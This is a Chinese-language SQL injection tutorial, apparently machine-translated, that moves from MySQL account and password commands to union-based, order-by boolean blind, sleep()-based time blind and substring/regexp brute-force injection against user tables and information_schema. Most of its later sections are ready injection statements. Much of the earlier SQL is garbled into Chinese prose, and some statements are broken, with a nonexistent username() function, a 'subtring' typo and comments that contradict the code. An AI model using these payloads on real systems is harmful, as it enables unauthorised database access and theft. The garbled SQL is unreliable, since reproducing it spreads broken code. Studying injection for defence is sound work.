SQL注入原理（基本语句/高级查询/高级注入/Mysql账号密码修改） sql注入进阶

SQL注入（Structured Query Language Injection）技术最早于1999年在国外出现，2002年后在我国开始大量出现。目前，微软中国技术中心从两个方面描述SQL注入技术：脚本注入SQL 注入是一种攻击类型，其中恶意用户输入用于影响执行的SQL 脚本。 SQL注入是指攻击者将SQL命令注入到Web表单中，以提交或输入域名或页面请求的查询字符串。最终，它允许后台数据库执行恶意操作。 SQL命令的目的是根据程序返回的结果检索攻击者想要的数据。所谓SQL注入是指将恶意SQL命令注入到常规http请求或其他数据库交互参数中，最终操纵数据库服务器执行未经授权的SQL命令的攻击。

在学习SQL注入之前，建议您通过阅读我们之前整理的基本Mysql语句操作和命令，对数据库的基本结构有一定的了解。

执行SQL注入的方法有很多种，本内容将向您介绍其中的一些方法。下面的内容主要是学习和应用高级SQL注入语句。您需要分别了解语句的结构和逻辑功能，并学习如何将它们集成并适应实际应用。不建议背诵。在方法逻辑上，最重要的是看懂所有的代码，了解其原理，最好的办法就是多实践。

首先简单介绍一下Mysql的基本操作。

1.用户创建/密码/权限管理（创建/更改/设置/授予/撤销）

1.用户创建/权限管理

==================================================================================================

# 使用CREATE USER 创建

# 创建用户“用户名”@“主机”，由“密码”标识；

————————————————– ————————————————–

# 使用“%”创建用户以允许来自任何主机的连接

# 创建由“mypassword”标识的用户“newuser”@“%”；

==================================================================================================

2. 修改密码

==================================================================================================

# 使用更改

# 更改用户“用户名”@“主机”，由“新密码”标识；

# 闪现权限；

————————————————– ————————————————–

# 使用SET语句更改密码

# 将密码设置为\’用户名\’@\’主机\’=\’new_password\’.

# 闪现权限；

————————————————– ————————————————–

# 直接在mysql外部更改环境

# mysqadmin -u 用户名-p 旧密码密码新密码

==================================================================================================

3.权限管理（添加/删除/确认）

==================================================================================================

# 检查用户权限

# 显示aplexia@host\\G 的权限。

————————————————– ————————————————–

# 添加权限

# 允许对aplexia@host 执行SELECT、INSERT、DELETE *.* 操作。

————————————————– ————————————————–

# 取消权限

# 从aplexia@host 中取消删除*.*；

==================================================================================================

2.显示Mysql数据库相关信息

4.检查版本号

==================================================================================================

# 选择版本()、当前日期。

==================================================================================================

5.查看日志文件

==================================================================================================

# 显示“%log”等变量。

==================================================================================================

6.查看用户/密码/主机

==================================================================================================

# 从mysql.user中选择用户、密码和主机。

==================================================================================================

3、添加/删除/修改表内外结构（需要掌握基本操作，如果不清楚，请查看之前的文章学习）

7. 添加（创建/插入）

==================================================================================================

# 插入角色(角色ID,角色名) value(\’1\’,\’经理\’);

==================================================================================================

8.删除（删除/删除）

==================================================================================================

# 删除表

# 删除表测试；

————————————————– ————————————————–

# 快速删除表

# 截断文档；

————————————————– ————————————————–

# 从roleid=1的用户中删除；

==================================================================================================

9. 改变（更新/改变）

==================================================================================================

#更改表名

# 修改表old_tablename并重命名new_tablename。

————————————————– ————————————————–

# 改变表结构

# 更改表表名更改名称varchar(20);

# 更改并重命名表tablename。新名称是varchar(20)；

# 更改表tablename，并在名称后添加new_word type_word。

————————————————– ————————————————–

# 将所有密码字段更改为123456

# 更新用户设置密码=123456;

# 要更新用户，请设置密码=111。其中角色ID=1；

==================================================================================================

4.查看和过滤数据库/表

10. 检查（显示/说明/选择）

==================================================================================================

#显示表结构

# desc 表名/G;

# 显示所有表

# 显示表格。

————————————————– ————————————————–

# 显示表格内容（限1-2项）

# 从用户限制1、2中选择*；

# 显示表格内容（仅限前5项）

# 从用户限制5中选择*；

# 查询指定字段

# 从table_name中选择word_1、word_2。

# 查询所有数据

# 从表名中选择*；

# 指定条件

# select * from table_name where word_1=option_word;

# 多个条件

# select * from table_name where word_1100;

==================================================================================================

5.如何对数据库进行搜索和排序（order by）

11. 如何订购

==================================================================================================

# 按字段排序

# 从用户订单中选择* by word_1;

# 根据第一个字段排序

# 从用户订单中选择1*；

# 按第二个字段排序

# 从用户订单中选择* with 2;

==================================================================================================

6. 联合查询（union）

12. 联合查询（Union）

==================================================================================================

# 将两个字段数相同的查询语句的结果以“叠在顶部”的方式合并为一个查询结果。

# 从用户中选择角色ID和用户名

– 联盟

– 从角色中选择角色ID和角色名称。

# 两条select语句中查询结果字段个数必须一致。

# 字段类型通常是一致的

# 使用distinct“自动删除重复行”。

# 使用all 允许显示重复行

==================================================================================================

7、要使用高级SQL语句注入，必须掌握以下语句的基本格式和逻辑以及可用的各种功能。

==================================================================================================

# 从用户中选择*，其中roleid=\’1\’;

# select * from user where roleid=\’1\’ or \’1\’=\’1\’ //如果为true，则返回全部。

# select * from user where roleid=\’1\’ or \’1\’=\’2\’ //如果为false，则返回roleid=\’1\’。

# select * from user where roleid=\’1\’ order by 6; 确定SQL语句输出的列数。

# select roleid,username,major from user order by 1 //根据您选择的第一个字段对类别进行排序。

————————————————– ————————————————–

# select database(); //查询当前数据库名称。

# select version(); //查询当前数据库版本信息。

# select user(); //查询当前用户。

# select @@version_compile_os //查询当前主机系统。

==================================================================================================

8. 联合注入（Union）

14. 连接查询来推断字段

==================================================================================================

# select * from user where username=\’222\’ Union select 1,2,3,4,5,6,7; //可以看到总共有7个字段。

==============================================================

15.联合查询数据库信息

==================================================================================================

# 从用户名=\’222\’的用户中选择userid,roleid,username Union select database(),version(),user();

# 从用户名=\’222\’的用户中选择用户ID、角色ID、用户名、密码Union select database(),version(),user(),@@version_compile_os;

==================================================================================================

9. 带有嵌入式条件注入的排序

16.注入顺序

==================================================================================================

# 从用户订单中选择1*；

# 从用户订单中选择* with 2;

# select * from user order by 3 //这个返回值可以用来确定表中的字段数量。

==================================================================================================

17. 使用嵌入条件语句进行排序

==================================================================================================

# 如果1=1为真，则根据名称返回

# 从用户订单中选择* by IF(1=2,roleid,username);

# 如果1=2不成立，则根据用户名返回

# 从用户订单中选择* by IF(1=2,roleid,username);

————————————————– ————————————————–

# 从用户订单中选择* by IFNULL(NULL,roleid);

# 通过IFNULL(NULL,username) 从用户订单中选择*。

————————————————– ————————————————–

# 如果1=1为真，则根据第一个字段返回

# 通过IF(1=1,1,(select 1 Union select 2)) 从用户订单中选择*。

# 如果1=2不成立，则返回（select 1 Union select 2）并返回错误。

# 通过IF(1=2,1,(select 1 Union select 2)) 从用户订单中选择*。

————————————————– ————————————————–

# select * from user order by(select 1 regexp if(1=1,1,0×00)); //返回值

# select * from user order by(select 1 regexp if(1=2,1,0×00)); //返回错误

# select * from user order by(select 1 regexp if(1=1,1,0));

==================================================================================================

10. 基于时间的注入

18. 基于时间的盲注

==================================================================================================

# select * from user order by if(1=1,1,sleep(2)) //1=1为真，返回值1;

# select * from user order by if(1=2,1,sleep(2)); //如果1=2不成立，则执行sleep(2)。此时可以清楚地看到返回延迟。

==================================================================================================

11.Regexp函数（正则表达式）

19.regexp函数（正则表达式应用）

==================================================================================================

# select 1 regexp 1 //如果此时为true，则返回1。

# select 1 regexp 0 //如果此时为false，则返回0。

# select 1 regexp 4 //如果此时为false，则返回0。

# select 1 regexp 5 //如果此时为false，则返回0。

# 可以看到只有两者都为1时才输出1。

==================================================================================================

12. 推断数据

20. 推断数据

============================================================================

======================
# select roleid from user order by(select 1 regexp if(substring(username(),1,1)=\’o\’,1,0×00));
# select roleid from user order by(select 1 regexp if(substring(username(),1,1)=\’e\’,1,0×00));
# select roleid from user order by(select 1 regexp if(substring(username(),1,1)=\’q\’,1,0×00));
# select roleid from user order by(select 1 regexp if(substring(username(),1,1)=\’r\’,1,0×00));
# 对用户名进行分割，从第一位开始取1位对‘o’进行比较，相同则成立，字母暴力猜解，得到用户名
=================================================================================================
十三.获取当前数据库表

21.当前数据库下的所有表
=================================================================================================
# 列举出当前数据库下的第一个表
# select table_name from information_schema.tables where table_schema=database() limit 0,1;
# 列举出当前数据库下的第二个表
# select table_name from information_schema.tables where table_schema=database() limit 0,2;
=================================================================================================
十四.猜解数据库表名

22.猜解数据库表名
=================================================================================================
# select name from user order by (select 1 regexp if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=\’r\’,1,0×00));
# select name from user order by (select 1 regexp if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=\’s\’,1,0×00));
# 重复上面步骤可以同样的方式对数据库名进行暴力破解
# select name from student order by(select 1 regexp if(subtring((select column_name from information_schema.columns where table_schema=database() and table_name=\’student\’ limit 0,1),1,1)=\’i\’,1,0×00));
=================================================================================================
以上内容大家可多加练习慢慢深入，网上也有一些工具可以帮助大家实现自动化SQL注入，burpsuite,Sqlmap等。
#以上关于SQL注入原理（基本语句/高级查询/高级注入/Mysql账号密码修改）的相关内容来源网络仅供参考，相关信息请以官方公告为准！